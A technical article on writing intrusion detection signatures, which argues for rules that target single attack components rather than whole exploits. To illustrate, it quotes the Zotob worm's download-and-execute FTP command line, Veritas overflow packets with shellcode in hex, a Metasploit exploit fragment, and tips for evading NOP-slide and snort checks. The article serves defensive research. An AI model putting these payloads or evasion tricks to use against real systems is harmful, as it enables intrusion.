CHRISTOPHER JORDAN

(WITH CONTRIBUTIONS FROM
JASON ROYES AND JESSE WHYTE)

writing detection signatures

Christopher Jordan is the principal investigator for the Dynamic Response System, an Advanced Research and Development Activity (ARDA) program. His research is in the auto-generation of prevention signatures in near-real time.

cjordan@endeavorsystems.com

IN A SEARCH OF THE INTERNET FOR information about how to write intrusion detection signatures, one finds links to manuals and tutorials on the syntax of signatures for use by particular categorization engines. However, researchers today find no general handbook for "best practices" or information about a number of critical areas that all intrusion detection signatures should address. This article looks at the issues surrounding—and presents criteria on how to write—high-quality intrusion detection signatures for use, for example, by categorization engines for intrusion detection or intrusion prevention.

Signature Attributes

What are some attributes of a quality signature? Common metrics are false-positive, false-negative, completeness, breadth, precision, collision, and recall. Most people are familiar with the first two metrics. The remaining metrics address the usefulness of the signature. Completeness measures whether the signatures address the entire threat. Breadth measures the number of signatures required to reach completeness. Precision refers to accuracy when categorizing data outside the original data set (future performance). Collision reports the number of different attacks that share the same signature. Finally, recall is a measure of signature usefulness following implementation.

Most signatures address false-positives. For example, worm signatures often address a particular worm variation. A single signature can be written to have no false-positives, no false-negatives, be complete, and have both low collision and low breadth (one signature). However, such a signature would have terrible precision (not addressing mutations) and diminishing recall (when was the last time you saw a phf, the old phone find script, attack?).

The prevailing approach in signature writing is to produce high-collision and low-breadth signatures to reduce the number of rules in the system. Such rules are seen as having both good recall and precision. Also, a high-collision signature has a shorter match. But in order to improve speed, all of these traits lean toward a smaller rule set with fewer comparisons. The problem with these characteristics is that they all tend to have higher false-positive rates.

The preferred alternative is to write signatures that address the components of the attack. This means

that signatures do not attempt to detect the entire attack but alarm in response to sections of the attack that resemble the vulnerability (frame), NOP slide, shellcode, SQL injection, or cross-script. Alarming on components is relatively new. The significant amount of work that speaks to alarming on the NOP slide will be discussed later.

Component-based signatures tend to show low collision and high breadth and have good recall and precision. However, they have a longer pattern match. This longer pattern match produces a lower false-positive rate. The drawback to this technique is the increased number of alarms for a given attack: one alarm is triggered for each component discovered.

Two general guidelines for component-based signatures are that the signatures should do the following:

- Address only a single component of the attack
- Match as much of the invariant section of the component as possible

In component-based signatures, initial signatures will have a higher breadth because the situation requires a signature for each component instead of a single signature. However, history shows that when an attack mutates, not all components change at the same time. Remaining signatures not associated with the change still alarm on the new variation because the rules as a set have better recall. Today, signature set recall is based on elements other than vulnerability lifespan. Often, components (like SDBot) of an attack have a much longer life span than the application vulnerabilities that call them.

LENGTH IS EQUAL TO ACCURACY

Writing a good signature is about statistics rather than pattern matching or anomaly detection. Pattern matching is a game of sequence prediction using probability: the longer the sequence, the more likely it is that the next element can be predicted. For example, if I start spelling a word with the letters "M-E-E-," most people will think they can accurately predict the next letter. However, the most accurate way to know what word I'm actually spelling is to wait until I'm done. The word could be "meek," "meet," "meeting," "meetings," or a number of other possibilities. The listener may learn the actual word only when, at last, a space occurs. This probability remains—the more data in the match, the more accurately you can predict it.

When using a larger pattern match, two concerns related to the capabilities of the detection (prevention) system apply. The first concern is that a larger signature may affect detection engine speed and memory. The second is that naturally occurring network fragmentation could fragment the payload as well.

TARGETING THE COMPONENTS

There is nothing wrong with targeting a particular component. Like Metasploit [1], attacks are often not very original. Often zero-day exploits use known frameworks to include known payloads.

For example, the Zotob worm uses a very common infection mechanism. It writes to a file (named "i" in this example) and then runs the file as input to the file transfer protocol (ftp) command. The downloaded file is then run, infects the system, and continues its propagation:

```
cmd /c echo open 196.168.0.142 24995 > i&echo user 1 1 >> i &echo
get eraseme_70203.exe >> i &echo quit >> i &ftp -n -s:i
&eraseme_70203.exe
```

This technique is used by a number of worms on both SMB (139) and raw SMB (445). By targeting this component, one could have detected the Zotob worm

even without an exploit signature. The following is a tracking signature converted to a snort format used on our honeypot analysis:

Alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg: "ECHO.OPEN.BAT.SUSPECT"; flow:to_server, established; content: "echo open "; content: "| 3e |" within 40; content: "| 3e 3e |" within 30; classtype:misc-activity; sid:20010184; rev: 1;)

What we are looking for in the signature up to this point is the invariance of the attack. When variation can be generated in an attack, then detection can be avoided. Two well-documented evasion techniques that create variance are payload polymorphism and NOP slide metamorphism.

EXAMPLE: VERITAS

Let's look at an exploit that has multiple published signatures. The Veritas backup overflow starts with a small exploit packet, seen here in snort [2] hex:

| **02 00 |2| 00 90 90 90 90 |1|** f6 c1 ec 0c c1 e4 0c 89 e7 89 fb |j| 01 8b |t| 24 fe |1| d2 |RB| c1 e2 10 |RWV| b8 ff |P| 11 40 c1 e8 08 ff 10 85 c0 |y| 07 89 dc |N| 85 f6 |u| e1 ff e7 90 90 90 90 90 90 90 90 90 90 90 90 a1 ff |B| 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 |**1.1.1.1.1.1**| 00 eb 80 |

The following signature [3] was posted to detect this attack:

alert tcp $EXTERNAL_NET any -> $HOME_NET 6101:6110 (flow:established,to_server; content:"|**02 00 32 00 90 90 90 90 31**|"; content:"|**31 2E 31 2E 31 2E 31 2E 31**|"; distance:110; flowbits:set, bkupexec_overflow; tag:session,20,packets; msg:"Veritas BackupExec Buffer Overflow Attempt"; classtype:misc-attack;)

A common mistake as seen in this signature is mixing the payload with the framework of the attack as a single definition. Consider the Veritas backup overflow. The registration request (x02 x00 x32 x00) is the frame. The overflow (1.1.1.1.1.1\x00\xeb\x81) does the work. Note the shellcode near the end: \xeb\x81. This call varies by a bit between the Metasploit implementation and the one posted on Security Focus (\xeb\x80), but they perform the same task of sending the instruction pointer to the start of the shellcode.

An early signature shows part of a NOP slide after the frame (the four 90s before the 31), and then part of the shellcode that was posted (Matt Miller's talk shellcode). Avoiding this snort signature is as easy as changing the slide NOP from x90 to A.

Now consider a variant of the attack that is part of the Metasploit. Metasploit is framework-oriented. It divides the attack into its components and allows the attack to be customized inside that framework. The setup (frame) of the attack and the overflow are visible in the request setup:

```
# The registration request
my $req =
  "\x02\x00\x32\x00\x20\x00" . $code . "\x00".
  "1.1.1.1.1.1\x00".
  "\xeb\x81";
```

The mixing of payload and exploit exists also in well-used signature sets. A significant number of snort alarms do not trigger on the exploit but on the published shellcode of the exploit. For example, the following named exploit alert [4] is really triggering on the shellcode that is binding a shell.:

alert tcp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS EXPLOIT named overflow attempt"; flow:to_**server**,established; content:"|CD 80 E8 D7 FF **FF FF|/bin/sh**"; reference:url,www.cert.org/advisories/CA-1998-05.html; classtype:attempted-admin; sid:261; rev:6;)

This LPRng signature [4] also is associated with a particular payload:

alert tcp $EXTERNAL_NET any -> $HOME_NET 515 (msg:"EXPLOIT LPRng overflow"; flow:to_server,established; content:"C|07 89|[|08 8D|K|08 89|C|0C B0 0B CD 80|1|C0 FE C0 CD 80 E8 94 FF **FF FF|/bin/sh**|0A|"; reference:bugtraq,1712; **reference**:cve,CVE-2000-0917; classtype:attempted-admin; sid:301; rev:6;)

By changing the shellcode, the attacker can avoid either of these alarms.

In general, mixing shellcode detection and exploit within a signature makes it extremely limited in its completeness and requires only a modification in the attack's payload to avoid detection.

By contrast, the current snort signature [4] for Veritas seems better. It also looks at the frame and then checks to see if the payload space has a null (x00) character. If there is a null character, then it is highly likely that it is not normal data but shellcode instead:

alert tcp $EXTERNAL_NET any -> $HOME_NET 6101 (msg:"EXPLOIT Veritas backup overflow attempt"; flow:established,to_server; content:"|02 00|"; depth:2; content:"|00|"; offset:3; depth:1; isdataat:60; content:!"|00|"; offset:6;
depth:66; reference:bugtraq,11974; reference:cve,2004-1172; classtype:misc-attack; sid:3084; rev:2;)

Note that this payload is a call of x81 (bytes), not x80. Also, note the null character in the framework. More important, note the bad character (BadChars) listing for the payload:

```
'Payload' =>
 {
  'MinNops'   => 512,
  'MaxNops'   => 512,
  'Space'     => 1024,
  'BadChars'  => '',
  'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
  'Keys'      => ['+ws2ord'],
 }
```

If the Metasploit BadChars listing is correct, then the x00 alarm that the snort signature aims to prevent could be added to the shellcode. This condition is highly unlikely.

A more likely alternative is to use a bootstrap load shellcode that would be small enough to fit under the 60-byte check that snort is making (depth of 6 minus the offset of 6) and then pad after the call statement with null characters to prevent the alarm. A bootstrap loader connects back to another system, downloading more code and then transferring control to it. The sequence is:

1. s = socket()
2. connected = connect(s, …)
3. recv(s, buf, sizeof(buf))
4. jmp buf

This is a powerful technique for launching more sophisticated attacks. It practically removes the size limitation on shellcode.

Mixing payload attributes with the setup and vulnerability makes signature writing difficult. The following signature only considers the frame of the attack based on Metasploit and the version published on the Security Focus Web site:

alert tcp $EXTERNAL_NET any -> $HOME_NET 6101 (flow:established,to_server; content:"|02 00 32 |"; depth 3; content:"1.1.1.1.1.1| 00 |"; distance:110; msg:"Veritas BackupExec Buffer Overflow Attempt";)

This version actually performs more quickly than the published snort version.

Detecting Metamorphics and Polymorphics

Not all attacks have well-defined invariant components. Polymorphic techniques use an XOR encoding to modify the payload, while metamorphic encoding uses command substitution, addition, and commutative properties to obfuscate the message (to include shellcode). The following NOP sled obfuscation section addresses metamorphic encoding. A brief discussion of polymorphic encoding follows.

NOP SLED OBFUSCATION

Stack and heap overflows involve transferring control to various locations in memory. In some cases, an exact address cannot be determined in advance. To improve an exploit's reliability, authors often pad their payload with No-Operation (NOP) instructions in order to improve successful payload execution.

In May 2001, Shane "K2" Macaulay presented a tool [5] that generated both a polymorphic payload and a metamorphic NOP slide. The NOP slide was modified by substituting other instructions that performed a similar function and were also a word (two bytes) in size. The instructions included incrementing registers with changeable values. The result was a total of 55 usable instructions. This technique proved successful against commonly deployed detection algorithms. It is now well known and used by exploit writers.

In February 2002, Dragos Ruiu released a plug-in to the snort detection system that used a simple heuristic to detect a NOP slide. The plug-in, called Fnord [6], counted the consecutive operations that are equivalent to a NOP instruction. The Fnord plug-in could detect the slide, and like all threshold heuristics, the accuracy increases with the size of the NOP for which the threshold is set.

All of the detection techniques in this section use a heuristic-based form of detection, which is popular because it is quicker than other forms of analysis that attempt to determine the flow of the possible shellcode. This heuristic approach requires that a predetermined number of consecutive NOP-equivalent instructions appear. Using the same heuristic by treating jump statements as NOP equivalents allows you to address the technique of jumping forward.

The consecutive NOP-equivalency approach has speed, processing, and memory advantages over a flow-analysis technique. Three problems arise with the consecutive NOP equivalency technique: (1) the size of the NOP slide cannot be small; (2) the heuristic software has to know all NOP equivalents known to the attacker; and (3) the attacker must want a pure NOP slide.

To understand a pure slide, a slight advancement in metamorphic techniques needs to be covered. "Slide" is, of course, an analogy: the instruction pointer does not need to slide, but can jump toward the payload. As long as the jump instruction does not go past the payload, the landing zone of the overflow can contain jump statements. Phantasmal Phantasmagoria [7], in October 2004, released a paper on using jump statements in the slide. He additionally demonstrated (Dragon, dragon_nopjmp) the use of a NOP-equivalence instruction argument that allows the instruction pointer to land on either the jump instruction or the argument.

In demonstrating this NOP jump version, he also demonstrated a version in which the jump contains a non-NOP equivalent. The demonstration showed that this version sometimes failed. This form of impure slide resets the consecutive NOP-equivalent counter and makes the slide detection fail and the payload evade detection.

Yuri Gushin [8] released a more complex metamorphic encoder and a detector that can detect impure NOP slides. It increased the number of NOP equivalents

and added an instruction blacklist. The increased NOP instructions are directly related to the blacklist. The blacklist prevents NOP equivalents from being used if the registry value is needed by the payload. By doing this, the number of NOP instructions in the engine can be increased and reduced by the engine when there is a conflict.

The detection engine is similar to previous ones; it adds a capability to consider a non-NOP equivalent or a possible unknown NOP equivalent. This is a crude implementation of heuristic tolerance that can easily force the detector to miss the detection when one of the previous tools would have succeeded.

In summary, of the detection tools only the Fnord detector is usable in operations. The others should be treated as proof-of-concept because they can easily be avoided by fragmentation, application encoding, and threshold avoidance (to which Fnord, too, is susceptible).

POLYMORPHIC PAYLOADS

An advantage of Metasploit is that it allows the exploits to be constructed with different payloads. It also will add a polymorphic wrap around the shellcode to avoid "bad characters" that would cause the exploit to fail. This wrap also can help hide the payload from intrusion detection systems.

The polymorphic decoder must be in the clear in order to run. It is important to note that like all payloads, it would be easy for attackers to avoid detection by writing their own polymorphic encoder. However, attackers tend to use the robust, pre-written versions available on the Internet. It is possible to determine invariance with the limited permutations of published polymorphic tools:

Alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg: "PEXFNSTENVMOV.ENCODER.METASPLOIT"; flow:to_server, established; content: "|**59 d9 ee d9 74 24 f4 5b 81 73**|"; classtype:misc-activity; sid:20010239; rev: 1;)

The following is a small snippet of an exploit. This is another Veritas exploit that has only filler and payload. Only Yuri Gushin's ecl metamorphic heuristic detector [8] will alarm on this packet, for it is using the /xfd NOP which exists only in that slide detector:

93 99 |7| 97 91 f9 fd |H| f8 f9 |GA| 93 40 98 |F| 9f 9b |J7| fc 92 98 90 |N| 97 |7| 9f 92 |H| 93 |NFG| 9b |A| 96 |GFJN| 90 |KHO| 93 9f |'| 90 |IBA| fd 40 92 |FH| 3f fd |G| d6 |C| d6 92 d6 |7| 9f |jJ**Y| d9 ee d9 |t| 24 f4 5b 81 |s| 13 |Z| c1 ef 99 83 eb fc e2 f4 db 05 bb |k| a5 3e 13 f3 b1 8c 07 |`| a5 3e 10 f9 d1 ad cb bd d1 84 d3 12 26 c4 97 98 b5 |J| a0 81 d1 9e cf 98 b1 88 |d| ad d1 c0 01 a8 9a |XC| 1d 9a b5 e8 |X| 90 cc ee 5b b1 |5| d4 cd**

This packet was collected by a honeypot before the release of Yuri Gushin's ecl tool. It was detected because the attack used a known polymorphic encoder, the signature associated with the Metasploit framework. This is a prime example of code reuse by the attacker, and shows how targeting payloads with signatures can detect attacks when the exploit signature fails.

Conclusion

An alternative in signature writing is to move away from the narrow focus of false-positives and false-negatives to include a more complete analysis of the signature components. Without separating the detection of NOP slides, frames (exploit), and shellcodes, attacks will easily avoid publicly available signatures by modifying the attack. After reviewing the effectiveness of published signatures, we have concluded that signatures that define only a single component of an attack perform better, both in false-positive and false-negative, and in other met-

rics such as completeness, breadth, precision, collision, and recall. We also note that exploit-related signatures alone are not sufficient to maintain a complete signature rule set and that signatures not associated with the exploit, like NOP slide detection and polymorphic decoder detection, are vital to a rule set being complete.

This research is made possible *by the support of the Advanced Research and Development Activity (ARDA). ARDA focuses on supporting research addressing important information technology problems, while coordinating with other government entities, industry, and academe.*

REFERENCES

[1] www.metasploit.org.

[2] www.snort.org.

[3] Cam Beasley, CISSP CIFI, Information Security Office, University of Texas at Austin.

[4] Martin Roesch, Brian Caswell, et al., "exploit.rules" v1.63.2.3 2005/01/17, copyright 2001–2004.

[5] "ADMmutate Engine": http://www.ktwo.ca/ADMmutate-0.8.4.tar.gz.

[6] "Fnord snort Preprocessor": http://www.cansecwest.com/spp_fnord.c.

[7] Phantasmal Phantasmagoria (phantasmal@hush.ai), "On Polymorphic Evasion," October 3, 2004.

[8] Yuri Gushin, "NIDS Polymorphic Evasion—The End?": http://www.ecl-labs.org/papers/ecl-poly.txt.